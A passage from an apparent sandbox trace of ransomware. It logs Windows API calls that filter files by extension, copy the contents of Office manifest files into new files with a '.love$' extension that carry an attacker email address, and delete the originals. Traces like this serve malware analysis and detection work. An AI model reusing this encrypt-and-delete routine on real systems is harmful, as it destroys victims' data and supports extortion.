(lpString=".doc") returned 4 [0112.775] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.775] lstrlenW (lpString=".docx") returned 5 [0112.775] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.775] lstrlenW (lpString=".pdf") returned 4 [0112.775] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.775] lstrlenW (lpString=".xls") returned 4 [0112.775] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.775] lstrlenW (lpString=".xlsx") returned 5 [0112.775] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.775] lstrlenW (lpString=".ppt") returned 4 [0112.775] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0112.775] lstrlenW (lpString=".zip") returned 4 [0112.775] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.775] lstrlenW (lpString=".rar") returned 4 [0112.775] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.775] lstrlenW (lpString=".bz2") returned 4 [0112.775] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.775] lstrlenW (lpString=".7z") returned 3 [0112.775] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0112.776] lstrlenW (lpString=".dbf") returned 4 [0112.776] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0112.776] lstrlenW (lpString=".1cd") returned 4 [0112.776] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0112.776] lstrlenW (lpString=".jpg") returned 4 [0112.776] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0112.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0112.776] lstrlenW (lpString=".doc") returned 4 [0112.776] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.776] lstrlenW (lpString=".docx") returned 5 [0112.776] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.776] lstrlenW (lpString=".pdf") returned 4 [0112.776] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.776] lstrlenW (lpString=".xls") returned 4 [0112.776] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.776] lstrlenW (lpString=".xlsx") returned 5 [0112.776] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.776] lstrlenW (lpString=".ppt") returned 4 [0112.776] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0112.776] lstrlenW (lpString=".zip") returned 4 [0112.776] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.776] lstrlenW (lpString=".rar") returned 4 [0112.777] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.777] lstrlenW (lpString=".bz2") returned 4 [0112.777] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.777] lstrlenW (lpString=".7z") returned 3 [0112.777] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0112.777] lstrlenW (lpString=".dbf") returned 4 [0112.777] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0112.777] lstrlenW (lpString=".1cd") returned 4 [0112.777] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0112.777] lstrlenW (lpString=".jpg") returned 4 [0112.777] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.777] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0112.777] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53 [0112.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0112.781] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1261) returned 1 [0112.782] CloseHandle (hObject=0x2d8) returned 1 [0112.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0112.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0112.782] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.782] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0112.785] GetLastError () returned 0x0 [0112.785] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0112.789] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0112.790] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.790] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0112.790] SetEndOfFile (hFile=0x2b8) returned 1 [0112.790] CloseHandle (hObject=0x2b8) returned 1 [0112.792] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.792] SetEndOfFile (hFile=0x2d8) returned 1 [0112.793] CloseHandle (hObject=0x2d8) returned 1 [0112.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0112.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1 [0112.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0112.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0112.794] lstrlenW (lpString=".doc") returned 4 [0112.794] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.794] lstrlenW (lpString=".docx") returned 5 [0112.794] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.794] lstrlenW (lpString=".pdf") returned 4 [0112.794] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.794] lstrlenW (lpString=".xls") returned 4 [0112.794] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.794] lstrlenW (lpString=".xlsx") returned 5 [0112.794] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.794] lstrlenW (lpString=".ppt") returned 4 [0112.794] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0112.795] lstrlenW (lpString=".zip") returned 4 [0112.795] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.795] lstrlenW (lpString=".rar") returned 4 [0112.795] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.795] lstrlenW (lpString=".bz2") returned 4 [0112.795] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.795] lstrlenW (lpString=".7z") returned 3 [0112.795] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0112.795] lstrlenW (lpString=".dbf") returned 4 [0112.795] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0112.795] lstrlenW (lpString=".1cd") returned 4 [0112.795] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0112.795] lstrlenW (lpString=".jpg") returned 4 [0112.795] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0112.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0112.795] lstrlenW (lpString=".doc") returned 4 [0112.795] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.795] lstrlenW (lpString=".docx") returned 5 [0112.795] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.795] lstrlenW (lpString=".pdf") returned 4 [0112.795] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.795] lstrlenW (lpString=".xls") returned 4 [0112.796] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.796] lstrlenW (lpString=".xlsx") returned 5 [0112.796] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.796] lstrlenW (lpString=".ppt") returned 4 [0112.796] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0112.796] lstrlenW (lpString=".zip") returned 4 [0112.796] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.796] lstrlenW (lpString=".rar") returned 4 [0112.796] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.796] lstrlenW (lpString=".bz2") returned 4 [0112.796] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.796] lstrlenW (lpString=".7z") returned 3 [0112.796] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0112.796] lstrlenW (lpString=".dbf") returned 4 [0112.796] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0112.796] lstrlenW (lpString=".1cd") returned 4 [0112.796] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0112.796] lstrlenW (lpString=".jpg") returned 4 [0112.796] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.796] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0112.797] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53 [0112.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0112.798] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1261) returned 1 [0112.798] CloseHandle (hObject=0x2d8) returned 1 [0112.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0112.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0112.798] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.798] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0112.799] GetLastError () returned 0x0 [0112.799] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0112.802] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0112.804] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.804] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0112.804] SetEndOfFile (hFile=0x2b8) returned 1 [0112.804] CloseHandle (hObject=0x2b8) returned 1 [0112.805] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.805] SetEndOfFile (hFile=0x2d8) returned 1 [0112.806] CloseHandle (hObject=0x2d8) returned 1 [0112.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0112.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1 [0112.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0112.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0112.807] lstrlenW (lpString=".doc") returned 4 [0112.808] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.808] lstrlenW (lpString=".docx") returned 5 [0112.808] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.808] lstrlenW (lpString=".pdf") returned 4 [0112.808] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.808] lstrlenW (lpString=".xls") returned 4 [0112.808] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.808] lstrlenW (lpString=".xlsx") returned 5 [0112.808] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.808] lstrlenW (lpString=".ppt") returned 4 [0112.808] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0112.808] lstrlenW (lpString=".zip") returned 4 [0112.808] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.808] lstrlenW (lpString=".rar") returned 4 [0112.808] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.808] lstrlenW (lpString=".bz2") returned 4 [0112.808] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.808] lstrlenW (lpString=".7z") returned 3 [0112.808] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0112.808] lstrlenW (lpString=".dbf") returned 4 [0112.808] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0112.808] lstrlenW (lpString=".1cd") returned 4 [0112.808] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0112.808] lstrlenW (lpString=".jpg") returned 4 [0112.809] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0112.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0112.809] lstrlenW (lpString=".doc") returned 4 [0112.809] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.809] lstrlenW (lpString=".docx") returned 5 [0112.809] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.809] lstrlenW (lpString=".pdf") returned 4 [0112.809] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.809] lstrlenW (lpString=".xls") returned 4 [0112.809] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.809] lstrlenW (lpString=".xlsx") returned 5 [0112.809] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.809] lstrlenW (lpString=".ppt") returned 4 [0112.809] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0112.809] lstrlenW (lpString=".zip") returned 4 [0112.809] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.809] lstrlenW (lpString=".rar") returned 4 [0112.809] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.809] lstrlenW (lpString=".bz2") returned 4 [0112.809] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.809] lstrlenW (lpString=".7z") returned 3 [0112.809] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0112.809] lstrlenW (lpString=".dbf") returned 4 [0112.809] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0112.810] lstrlenW (lpString=".1cd") returned 4 [0112.810] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0112.810] lstrlenW (lpString=".jpg") returned 4 [0112.810] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.810] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0112.810] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53 [0112.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0112.810] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=343329) returned 1 [0112.810] CloseHandle (hObject=0x2d8) returned 1 [0112.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0112.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0112.811] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.811] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0112.811] GetLastError () returned 0x0 [0112.812] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x53d21, lpOverlapped=0x0) returned 1 [0113.517] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x53d30, lpOverlapped=0x0) returned 1 [0114.264] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0114.265] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, 